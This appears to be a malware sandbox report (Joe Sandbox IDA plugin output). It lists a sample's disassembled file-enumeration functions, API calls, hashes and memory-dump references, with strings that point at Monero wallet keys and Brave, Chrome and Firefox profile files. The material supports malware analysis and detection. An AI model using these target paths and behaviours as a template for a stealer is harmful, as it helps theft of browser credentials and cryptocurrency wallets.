Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Preferences, xrefs: 0040C11E
\Brave\Preferences, xrefs: 0040C1DB
Google Chrome, xrefs: 0040C634
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149FB
%s\*, xrefs: 00414920
%s\%s, xrefs: 004149A4

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
RtlAllocateHeap.NTDLL(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcat.KERNEL32(?,0128E4D0), ref: 004146C5
lstrcat.KERNEL32(?,0128D0D8), ref: 004146D8
lstrlen.KERNEL32(?), ref: 004146E5
lstrlen.KERNEL32(?), ref: 004146F6

Strings

%s\*, xrefs: 0041459A
%s\%s, xrefs: 0041461B

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 30bce43db2ecf0344ca22bb06d90d35447f3f69f35e59fe64c42277d0c46a2d3
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 1ae905db5480c4bbf44b7bf6a61368e664d5da2e6ab4683df7d46ab6fe3d119e
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 5017a4ae4b27de286babc421e1f90f6b26d6cd092db73d8e186e82182fbe0c2c
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042510C,?,?,?,004251B4,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,0042525C), ref: 00401973
StrCmpCA.SHLWAPI(?,00425304), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 5ea82217d710e172e365d67747ade50ceb9e1d6b8b6faf2988abcee8d56b9610
Instruction ID: 39d00e11cde3818330ac08f623c81c852c64dcafcc1d6f8b5eceb62ce14d4984
Opcode Fuzzy Hash: 5ea82217d710e172e365d67747ade50ceb9e1d6b8b6faf2988abcee8d56b9610
Instruction Fuzzy Hash: F51260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

\*.*, xrefs: 0040DE26

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: d4d8f9a0da4a9b9920f9e464ba6309a1b6ed10e747b0e3dce0e8f9b123024142
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 007CF962 Relevance: 12.9, Strings: 9, Instructions: 1629COMMON

Download Yara Rule

Strings

a&n, xrefs: 007D0863
q#zB, xrefs: 007D04D4
Qd, xrefs: 007D02FF
.v>~, xrefs: 007CF9E0
CF{, xrefs: 007CFA3D
4'Gk, xrefs: 007D01F2
YQ<, xrefs: 007CFE15
0r/, xrefs: 007D0992
C\`, xrefs: 007CFFCE

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
